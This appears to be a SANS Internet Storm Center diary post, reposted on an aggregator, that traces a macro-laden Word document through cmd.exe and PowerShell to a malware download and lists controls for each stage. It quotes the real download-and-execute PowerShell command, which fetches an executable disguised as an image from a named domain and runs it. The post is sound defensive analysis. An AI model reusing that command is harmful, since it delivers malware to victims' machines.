HackDig : Dig high-quality web security articles for hacker

Mapping Attack Methodology to Controls, (Wed, Nov 23rd)

2016-11-23 03:00

Recently weve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script. When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses.

In this case the execution chain looks like this: Email -Word Doc - Cmd.exe -powershell -Malware.exe


When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile(http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png,%TMP%scsnsys.exeStart-process %TMP%scsnsys.exe


When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn">

So lets map out controls we can put in place to prevent the attack lifecycle.

  1. Stopping delivery of the message (In order of $ and Complexity)
    1. Hold attachment for X number of hours so AV my catch up
    2. Convert file to another type (e.g. Word - PDF)
    3. Mangle the macro in the file before delivery
    4. Sandbox the attachment before delivery
    5. Preventing Macros from running
  2. Disable macros via GPO
  3. Block users from Cmd.exe
    1. Use an Applocker policy to block cmd.exe
  4. Prevent Powershell from running unsigned scripts
    1. Lots of ways to bypass
  5. Prevent download of malware
    1. Use sinkhole/proxy ect.
  6. Prevent malware from running in the drop location ( C:UsersmeAppDataLocalTempscsnsys.exe)
    1. Applocker


Now by looking at this list you can determine what make sense in your environment due to technical or political issues. This exercise will have you prepared to answer the questions, how can we prevent this in the future. I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$).

--

Tom Webb

@twsecblog

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.


Source: ssr;pma&94712=diyrots?lmth.yraid/ude.snas.csi

Read:2013 | Comments:0 | Tags:No Tag

“Mapping Attack Methodology to Controls, (Wed, Nov 23rd)”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud